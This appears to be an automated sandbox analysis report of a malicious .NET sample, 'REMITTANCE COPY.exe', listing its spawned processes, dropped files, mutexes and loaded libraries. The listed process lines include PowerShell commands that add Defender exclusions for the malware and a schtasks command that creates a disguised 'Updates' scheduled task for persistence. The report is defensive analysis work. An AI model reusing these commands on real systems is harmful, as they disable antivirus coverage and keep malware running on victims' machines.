Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REMITTANCE COPY.exe.3a756f8.3.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, lAxGl550OXdIl6RgLf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, lAxGl550OXdIl6RgLf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, lAxGl550OXdIl6RgLf.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: _0020.SetAccessControl
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: _0020.AddAccessRule
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: _0020.SetAccessControl
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: _0020.AddAccessRule
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: _0020.SetAccessControl
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, pMOI3TbUm5GfpCblLE.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@19/15@2/2

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

File created: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3608:120:WilError_03
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Mutant created: \Sessions\1\BaseNamedObjects\cZdTWENAzkFduVDjnCEGSKqc
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3788:120:WilError_03

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

File created: C:\Users\user\AppData\Local\Temp\tmpEBC.tmp

Jump to behavior

Source: REMITTANCE COPY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: REMITTANCE COPY.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: REMITTANCE COPY.exe

ReversingLabs: Detection: 44%

Source: REMITTANCE COPY.exe

String found in binary or memory: Save/Load

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

File read: C:\Users\user\Desktop\REMITTANCE COPY.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\REMITTANCE COPY.exe "C:\Users\user\Desktop\REMITTANCE COPY.exe"
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmp20AE.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REMITTANCE COPY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmpEBC.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\CNqCubHKvlzbGo" /XML "C:\Users\user\AppData\Local\Temp\tmp20AE.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
